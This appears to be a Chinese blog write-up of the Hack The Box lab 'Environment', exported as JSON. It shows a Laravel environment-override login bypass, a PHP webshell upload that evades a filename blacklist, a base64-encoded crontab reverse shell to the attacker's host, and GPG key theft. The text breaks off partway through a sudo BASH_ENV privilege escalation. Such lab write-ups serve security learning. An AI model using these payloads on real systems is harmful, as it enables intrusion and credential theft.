{"id":268,"date":"2025-05-06T11:15:48","date_gmt":"2025-05-06T03:15:48","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=268"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"268","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/05\/06\/268\/","title":{"rendered":"HTB\u9776\u673a Environment \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<code>10.129.90.106<\/code>\uff08\u591a\u4e2aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.108.226 (10.129.108.226) 56(84) bytes of data.\n64 bytes from 10.129.108.226: icmp_seq=1 ttl=63 time=345 ms\n64 bytes from 10.129.108.226: icmp_seq=2 ttl=63 time=328 ms\n64 bytes from 10.129.108.226: icmp_seq=3 ttl=63 time=386 ms\n64 bytes from 10.129.108.226: icmp_seq=4 ttl=63 time=286 ms\n\n--- 10.129.108.226 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 286.055\/336.175\/386.168\/35.878 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun May  4 07:23:32 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.108.226\nNmap scan report for 10.129.108.226\nHost is up (0.36s latency).\nAll 65535 scanned ports on 10.129.108.226 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun May  4 07:24:20 2025 -- 1 IP address (1 host up) scanned in 47.90 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun May  4 07:40:02 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.108.226\nNmap scan report for 10.129.108.226\nHost is up (0.29s latency).\nNot shown: 65532 closed tcp ports (conn-refused)\nPORT      STATE    SERVICE VERSION\n22\/tcp    open     ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)\n| ssh-hostkey: \n|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)\n|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)\n80\/tcp    open     http    nginx 1.22.1\n|_http-server-header: nginx\/1.22.1\n|_http-title: Did not follow redirect to http:\/\/environment.htb\n44755\/tcp filtered unknown\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5\nOS details: Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   316.22 ms 10.10.14.1\n2   316.40 ms 10.129.108.226\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun May  4 07:40:51 2025 -- 1 IP address (1 host up) scanned in 49.07 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun May  4 07:43:16 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.108.226\nWarning: 10.129.108.226 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.108.226\nHost is up (0.38s latency).\nAll 65535 scanned ports on 10.129.108.226 are in ignored states.\nNot shown: 65285 open|filtered udp ports (no-response), 250 closed udp ports (port-unreach)\n\n# Nmap done at Sun May  4 07:47:24 2025 -- 1 IP address (1 host up) scanned in 248.05 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u8fd0\u884c<code>Debian Linux<\/code>\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5f00\u653e\u4e86<code>SSH<\/code>\u548c<code>Web<\/code>\u670d\u52a1\uff0c\u4e14<code>Web<\/code>\u670d\u52a1\u4e3b\u57df\u540d\u4e3a<code>environment.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/environment]\n\u2514\u2500# nc -nv 10.129.90.106 22\n(UNKNOWN) [10.129.90.106] 22 (ssh) open\nSSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/environment.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746324058234-7c18331e-90a2-450f-ad32-1adaef608fd3.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7ad9\u70b9\u4f3c\u4e4e\u4e3a\u4e00\u4e2a\u516c\u76ca\u7ec4\u7ec7\u7684\u5ba3\u4f20\u9875\u9762\uff0c\u6700\u5e95\u90e8\u53d1\u73b0\u4e00\u4e2a\u90ae\u4ef6\u767b\u8bb0\u6846\uff0c\u968f\u4fbf\u586b\u5199\u4e00\u4e2a\u90ae\u4ef6\u5730\u5740\uff0c\u70b9\u51fb\u53d1\u9001\uff0c\u4f1a\u663e\u793a<code>Email added to the mailing list successfully!<\/code>\u5b57\u6837\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746324329546-08547861-b5de-46c1-affb-8008b37d9e10.png\" alt=\"\" \/><\/p>\n<p>\u4f7f\u7528<code>Wappalyzer<\/code>\u63d2\u4ef6\u5224\u65ad\u7f51\u7ad9\u6280\u672f\u6808\uff0c\u53d1\u73b0\u7ad9\u70b9\u4f7f\u7528\u4e86<code>PHP Laravel<\/code>\u5f00\u53d1\u6846\u67b6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746324721239-17cf9a94-63a3-4979-a100-c54ff8d8108a.png\" alt=\"\" \/><\/p>\n<p>\u4f7f\u7528<code>BurpSuite<\/code>\u62e6\u622a\u90ae\u7bb1\u767b\u8bb0\u8bf7\u6c42\u5305\uff0c\u53d1\u73b0\u524d\u7aef\u5411<code>\/mailing<\/code>\u7aef\u70b9\u53d1\u8d77\u4e86\u8bf7\u6c42\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746325087042-179a85ce-585f-4ddd-8f82-8ae279857acd.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4ee5<code>GET<\/code>\u65b9\u5f0f\u8bbf\u95ee<code>\/mailing<\/code>\u63a5\u53e3\uff0c\u53d1\u73b0\u7ad9\u70b9<code>Laravel<\/code>\u6846\u67b6\u5f00\u542f\u4e86\u8c03\u8bd5\u6a21\u5f0f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746489114208-d8ef3ec7-4180-4fd3-9860-684dcaf86232.png\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\u53d1\u73b0<code>Laravel<\/code>\u7248\u672c\u4e3a<code>11.30.0<\/code>\uff0c<code>PHP<\/code>\u7248\u672c\u4e3a<code>8.2.28<\/code>\uff0c<code>Laravel<\/code>\u6846\u67b6\u62a5\u9519\u65f6\u8fd8\u6cc4\u9732\u4e86\u90e8\u5206\u6e90\u4ee3\u7801\u3002<\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sun May  4 10:21:11 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/environment.htb -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,xml,json,pdf,pcap\n\n301   169B   http:\/\/environment.htb\/build    -&gt; REDIRECTS TO: http:\/\/environment.htb\/build\/\n200     0B   http:\/\/environment.htb\/favicon.ico\n200     2KB  http:\/\/environment.htb\/index.php\/login\/\n200     2KB  http:\/\/environment.htb\/login\n200     2KB  http:\/\/environment.htb\/login\/\n302   358B   http:\/\/environment.htb\/logout    -&gt; REDIRECTS TO: http:\/\/environment.htb\/login\n302   358B   http:\/\/environment.htb\/logout\/    -&gt; REDIRECTS TO: http:\/\/environment.htb\/login\n200    24B   http:\/\/environment.htb\/robots.txt\n301   169B   http:\/\/environment.htb\/storage    -&gt; REDIRECTS TO: http:\/\/environment.htb\/storage\/\n405   245KB  http:\/\/environment.htb\/upload\n405   245KB  http:\/\/environment.htb\/upload\/<\/code><\/pre>\n<p>\u53d1\u73b0<code>Web<\/code>\u670d\u52a1\u5b58\u5728<code>\/login<\/code>\u63a5\u53e3\uff0c\u5c1d\u8bd5\u8bbf\u95ee\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746489390357-247a5f34-f524-4414-997b-46d952fb0b66.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7f51\u7ad9\u9700\u8981\u4f7f\u7528\u7535\u5b50\u90ae\u7bb1\u548c\u5bc6\u7801\u767b\u5f55\u3002\u6253\u5f00<code>BurpSuite<\/code>\uff0c\u968f\u4fbf\u8f93\u5165\u4e00\u4e2a\u767b\u5f55\u4fe1\u606f\u5e76\u62e6\u622a\uff0c\u67e5\u770b\u767b\u5f55\u6d41\u91cf\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746489930251-6574beff-44c2-40f5-85ef-2593186c2b04.png\" alt=\"\" \/><\/p>\n<p>\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<p>\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22\u8be5\u7248\u672c<code>Laravel<\/code>\u6846\u67b6\u6f0f\u6d1e\uff0c\u6210\u529f\u53d1\u73b0<code>Laravel 11.x<\/code>\u7248\u672c\u5b58\u5728\u73af\u5883\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3a<code>CVE-2024-52301<\/code>\uff1a<a href=\"https:\/\/github.com\/Nyamort\/CVE-2024-52301\" target=\"_blank\"  rel=\"nofollow\" >Nyamort\/CVE-2024-52301<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746490464149-fe60b4c6-3b3f-4d56-b693-f02824594302.png\" alt=\"\" \/><\/p>\n<p>\u4ee5\u53ca<code>Laravel<\/code>\u6846\u67b6\u5904\u4e8e\u8c03\u8bd5\u6a21\u5f0f\u65f6\uff0c\u767b\u5f55\u63a5\u53e3\u7684\u8c03\u8bd5\u62a5\u9519\u4e2d\u53ef\u80fd\u5b58\u5728\u5927\u91cf\u654f\u611f\u4fe1\u606f\u7684\u95ee\u9898\uff1a<a href=\"https:\/\/www.freebuf.com\/column\/195413.html\" target=\"_blank\"  rel=\"nofollow\" >\u3010\u6f0f\u6d1e\u9884\u8b66\u3011lavarel\u6846\u67b6\u914d\u7f6e\u4e0d\u5f53\u5bfc\u81f4\u654f\u611f\u6570\u636e\u6cc4\u9732 - FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746490764970-6366a440-3884-44b9-b0b1-ba39498a7ff8.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Laravel\u6846\u67b6\u7efc\u5408\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u5df2\u7ecf\u53d1\u73b0\u7ad9\u70b9\u4f7f\u7528<code>Laravel 11.30.0<\/code>\u6846\u67b6\u642d\u5efa\uff0c\u5e76\u5f00\u542f\u4e86\u8c03\u8bd5\u6a21\u5f0f\uff0c\u4ee5\u53ca\u8be5\u7248\u672c\u6846\u67b6\u5b58\u5728\u73af\u5883\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\u7684\u4e8b\u5b9e\u3002\u73b0\u5728\u5c1d\u8bd5\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<p>\u9996\u5148\u5c1d\u8bd5\u4fee\u6539\u767b\u5f55\u8bf7\u6c42\u5305\uff0c\u628a\u7528\u4e8e\u8bb0\u5f55\u662f\u5426\u4fdd\u7559\u767b\u5f55\u4fe1\u606f\u7684<code>HTTP POST<\/code>\u53c2\u6570<code>remember<\/code>\u7684\u503c\u4fee\u6539\u4e3a\u4e00\u4e2a\u975e\u5e03\u5c14\u503c\u5b57\u7b26\u4e32<code>test<\/code>\uff0c\u4ee5\u6b64\u89e6\u53d1\u62a5\u9519\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746491772348-b6617543-a8aa-49d0-8218-1d19861abc5c.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746491839400-b8dc407f-7cfc-4fff-8a64-591655fab0c9.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u89e6\u53d1<code>\/login<\/code>\u63a5\u53e3\u62a5\u9519\uff01\u540c\u65f6\uff0c\u6211\u4eec\u53d1\u73b0\u62a5\u9519\u9875\u9762\u6cc4\u9732\u4e86\u90e8\u5206<code>route\/web.php<\/code>\u7684\u6e90\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-php\">   if($keep_loggedin !== False) {\n    \/\/ TODO: Keep user logged in if he selects \"Remember Me?\"\n   }\n\n   if(App::environment() == \"preprod\") { \/\/QOL: login directly as me in dev\/local\/preprod envs\n       $request-&gt;session()-&gt;regenerate();\n       $request-&gt;session()-&gt;put('user_id', 1);\n       return redirect('\/management\/dashboard');\n   }\n\n   $user = User::where('email', $email)-&gt;first();<\/code><\/pre>\n<p>\u4ece\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u5982\u679c<code>Laravel<\/code>\u7684\u73af\u5883\u53d8\u91cf\u4e3a<code>preprod<\/code>\uff0c\u90a3\u4e48\u5728\u4f7f\u7528<code>\/login<\/code>\u63a5\u53e3\u8fdb\u884c\u767b\u5f55\u65f6\uff0c\u7a0b\u5e8f\u4f1a\u4e0d\u7ecf\u8fc7\u7528\u6237\u767b\u5f55\u67e5\u8be2\u6d41\u7a0b\uff0c\u76f4\u63a5\u5c06<code>Session<\/code>\u4e2d\u7684\u7528\u6237<code>ID<\/code>\u503c\u8d4b\u503c\u4e3a<code>1<\/code>\uff0c\u968f\u540e\u91cd\u5b9a\u5411\u5ba2\u6237\u7aef\u81f3\u7ba1\u7406\u540e\u53f0\u9875\u9762<code>\/management\/dashboard<\/code>\u3002<\/p>\n<p>\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528<code>CVE-2024-52301<\/code>\u6f0f\u6d1e\uff0c\u5728<code>\/login<\/code>\u767b\u5f55\u63a5\u53e3\u5904\u4fee\u6539\u6846\u67b6\u73af\u5883\u53d8\u91cf\u4e3a<code>preprod<\/code>\uff0c\u6765\u89e6\u53d1\u767b\u5f55\u7ed5\u8fc7\u6f0f\u6d1e\u3002\u6839\u636e\u6f0f\u6d1e\u63cf\u8ff0\uff0c\u76f4\u63a5\u5728\u8981\u8bbf\u95ee\u7684<code>URL<\/code>\u540e\u52a0\u4e0a<code>GET<\/code>\u53c2\u6570<code>--env<\/code>\uff0c\u5373\u53ef\u4fee\u6539<code>Laravel<\/code>\u6846\u67b6\u7684\u4efb\u610f\u73af\u5883\u53d8\u91cf\uff0c\u4f8b\u5982\uff1a<\/p>\n<pre><code class=\"language-plain\">http:\/\/127.0.0.1\/index?--env=local<\/code><\/pre>\n<p>\u6b64\u65f6\u5c31\u5c06\u6846\u67b6\u7684<code>APP_ENV<\/code>\u73af\u5883\u53d8\u91cf\u6539\u4e3a\u4e86<code>local<\/code>\u3002<\/p>\n<p>\u76f4\u63a5\u518d\u6b21\u8bbf\u95ee<code>\/login<\/code>\u63a5\u53e3\u5e76\u6253\u5f00<code>BurpSuite<\/code>\u62e6\u622a\uff0c\u8f93\u5165\u4efb\u610f\u51ed\u636e\u70b9\u51fb\u767b\u5f55\u6309\u94ae\uff0c\u968f\u540e\u4fee\u6539\u767b\u5f55\u6d41\u91cf\u5305\uff0c\u5728\u8bf7\u6c42<code>URL<\/code>\u540e\u6dfb\u52a0<code>--env=preprod<\/code>\u53c2\u6570\uff0c\u89e6\u53d1\u7ba1\u7406\u5458\u514d\u5bc6\u767b\u5f55\u673a\u5236\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746492938943-e875f033-3ac6-47a2-b426-cd3383d63e40.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746492968834-64b0deb3-1c88-4827-b5f6-446562b5c17f.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u767b\u5f55\u540e\u53f0\uff01<\/p>\n<h2>\u5934\u50cf\u4e0a\u4f20\u63a5\u53e3\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u767b\u5f55\u540e\u53f0\u540e\uff0c\u5bf9\u540e\u53f0\u8fdb\u884c\u4fe1\u606f\u6536\u96c6\u3002\u70b9\u51fb\u5de6\u4fa7<code>Profile<\/code>\u6309\u94ae\uff0c\u8df3\u8f6c\u5230\u4e86\u5934\u50cf\u7ba1\u7406\u63a5\u53e3\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746493847315-5ea857b1-a1da-4388-8146-32e2eaa0d9aa.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u70b9\u51fb<code>Choose New Picture<\/code>\u6309\u94ae\uff0c\u968f\u4fbf\u6311\u9009\u4e86\u4e00\u5e45\u56fe\u50cf\u4e0a\u4f20\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746494002187-35ae7328-fa46-4e22-a876-b86e0a25f6b2.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5934\u50cf\u88ab\u4e0a\u4f20\u5230\u4e86<code>\/storage\/files\/<\/code>\u76ee\u5f55\u3002<\/p>\n<p>\u6253\u5f00<code>BurpSuite<\/code>\u62e6\u622a\uff0c\u518d\u6b21\u70b9\u51fb<code>Choose New Picture<\/code>\u6309\u94ae\uff0c\u6311\u9009\u4e00\u4efd\u6587\u672c\u6587\u4ef6\u4e0a\u4f20\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746494296547-2e2ec218-77ca-4f0e-85eb-8e29eaaa18dd.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8fd4\u56de\u65e0\u6548\u6587\u4ef6\u62a5\u9519\uff0c\u63a8\u6d4b\u9700\u8981\u4e0a\u4f20\u56fe\u7247\u6587\u4ef6\uff0c\u9996\u5148\u5c1d\u8bd5\u5728\u6587\u4ef6\u5934\u90e8\u6dfb\u52a0<code>GIF<\/code>\u6587\u4ef6\u5934<code>GIF89a<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746494551076-515d6620-1c98-4822-bd13-a9a74a53d450.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u4e0a\u4f20\uff01\u5c1d\u8bd5\u5c06\u540e\u7f00\u540d\u6539\u4e3a<code>php<\/code>\uff0c\u53d1\u73b0\u4e0a\u4f20\u518d\u6b21\u5931\u8d25\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746494705517-58940adb-769e-4442-82dc-be50cb4d9a6d.png\" alt=\"\" \/><\/p>\n<p>\u63a8\u6d4b\u7f51\u7ad9\u4f7f\u7528\u4e86\u9ed1\u540d\u5355\u673a\u5236\u68c0\u6d4b\u6587\u4ef6\u540e\u7f00\u540d\u3002\u5c1d\u8bd5\u5728\u6587\u4ef6\u540d\u672b\u5c3e\u52a0\u70b9\u53f7\u7ed5\u8fc7\uff08<code>sparkle.php.<\/code>\uff09\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746494800598-a9831051-0a66-476a-8dad-e77288defafa.png\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20\u6210\u529f\uff01<\/p>\n<p>\u8bbf\u95ee\u6728\u9a6c\uff1a<code>http:\/\/environment.htb\/storage\/files\/sparkle.php?cmd=id<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746494893751-d85c35d9-06e1-45b6-a02a-6d1d4c3686de.png\" alt=\"\" \/><\/p>\n<p>\u6728\u9a6c\u6210\u529f\u8fd0\u884c\uff01\u76f4\u63a5\u5728\u653b\u51fb\u673a\u4e0a\u4f7f\u7528<code>netcat<\/code>\u76d1\u542c<code>443<\/code>\u7aef\u53e3\uff0c\u968f\u540e\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u6dfb\u52a0\u53cd\u5f39<code>Shell<\/code>\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n<pre><code class=\"language-bash\">echo \"Ki8xICogKiAqICogL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIvNDQzIDA%2bJjEnCg==\" | base64 -d | crontab<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746495939479-f6de61ec-173c-44eb-bf6c-894f39f46f01.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u53cd\u5f39Shell\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u89e3\u5bc6GPG\u52a0\u5bc6\u6587\u4ef6<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u6267\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\uff0c\u5728<code>hish<\/code>\u7528\u6237\u7684\u5bb6\u76ee\u5f55\u5185\u53d1\u73b0\u4e86\u4e00\u4efd\u52a0\u5bc6\u7684<code>GPG<\/code>\u6587\u4ef6\uff1a<code>\/home\/hish\/backup\/keyvault.gpg<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746499337020-5ff22188-2765-4d00-bb90-d0009d2a9dd9.png\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\u53d1\u73b0\u5f53\u524d\u7528\u6237<code>www-data<\/code>\u5bf9<code>\/home\/hish\/.gnupg<\/code>\u76ee\u5f55\u5177\u6709\u8bfb\u53d6\u6743\u9650\u3002\u76f4\u63a5\u5c06\u8be5\u76ee\u5f55\u590d\u5236\u5230<code>\/tmp\/hish_gnupg<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">cp -rf \/home\/hish\/.gnupg \/tmp\/hish_gnupg<\/code><\/pre>\n<p>\u968f\u540e\u5c1d\u8bd5\u4f7f\u7528<code>\/tmp\/hish_gnupg<\/code>\u7684<code>PGP<\/code>\u5bc6\u94a5\u6570\u636e\u5e93\u89e3\u5bc6<code>keyvault.gpg<\/code>\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">gpg --homedir \/tmp\/hish_gnupg --decrypt \/home\/hish\/backup\/keyvault.gpg<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746499570912-7268aa69-2408-42c9-b5aa-8bb3b076dea0.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u89e3\u5bc6\u6587\u4ef6\u5e76\u53d1\u73b0\u5bc6\u7801\uff01<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u51ed\u636e\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>hish<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>marineSPm@ster!!<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746499684037-60d0f2cd-1c2e-4689-8a51-756ca27be0e1.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>Sudo\u4f20\u9012\u5371\u9669\u73af\u5883\u53d8\u91cf\u63d0\u6743<\/h2>\n<p>\u767b\u5f55<code>hish<\/code>\u7528\u6237\u540e\uff0c\u4f7f\u7528<code>sudo -l<\/code>\u547d\u4ee4\u67e5\u770b\u5176<code>sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746499846006-9d033d3a-42aa-43e4-b37b-2a50bacbbd60.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237<code>hish<\/code>\u53ef\u4ee5\u4efb\u610f\u7528\u6237\u8eab\u4efd\u6267\u884c<code>\/usr\/bin\/systeminfo<\/code>\u547d\u4ee4\uff0c\u4e14\u6700\u5173\u952e\u7684\u662f\uff0c<code>hish<\/code>\u7528\u6237\u88ab\u542f\u7528\u4e86<code>sudo<\/code>\u6743\u9650<code>env_keep<\/code>\uff0c\u5141\u8bb8\u5f53\u524d\u7528\u6237\u4f20\u9012<code>ENV<\/code>\u548c<code>BASH_ENV<\/code>\u4e24\u4e2a\u73af\u5883\u53d8\u91cf\u5230<code>sudo<\/code>\u76ee\u6807\u7528\u6237\u7684<code>Shell<\/code>\u73af\u5883\u4e2d\u3002<\/p>\n<p>\u8054\u7f51\u67e5\u8be2\u4ee5\u4e0a\u73af\u5883\u53d8\u91cf\uff0c\u53d1\u73b0\u8fd9\u4e24\u4e2a\u73af\u5883\u53d8\u91cf\u7684\u4f5c\u7528\u4e3a\uff1a\u542f\u52a8\u4e00\u4e2a\u975e\u4ea4\u4e92\u5f0f<code>Shell<\/code>\u65f6\uff0c\u6267\u884c\u73af\u5883\u53d8\u91cf\u4e2d\u6307\u5b9a\u7684\u811a\u672c\u7a0b\u5e8f\uff1b<code>ENV<\/code>\u53d8\u91cf\u88ab<code>\/bin\/sh<\/code>\u4f7f\u7528\uff0c<code>BASH_ENV<\/code>\u88ab<code>\/bin\/bash<\/code>\u4f7f\u7528\u3002\uff08\u53c2\u8003\u94fe\u63a5\uff1a<a href=\"https:\/\/unix.stackexchange.com\/questions\/590788\/treatment-of-env-and-bash-env-in-bash-running-in-bash-and-sh-mode\" target=\"_blank\"  rel=\"nofollow\" >shell - Treatment of ENV and BASH_ENV in bash running in bash and sh mode - Unix &amp; Linux Stack Exchange<\/a>\uff09<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1746500338398-af17405d-eeec-4516-b1be-6ec3e14a9bed.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u521b\u5efa\u811a\u672c\u6587\u4ef6<code>\/tmp\/changepw.sh<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/bin\/bash\necho \"[+] Trying to modify the password of user root 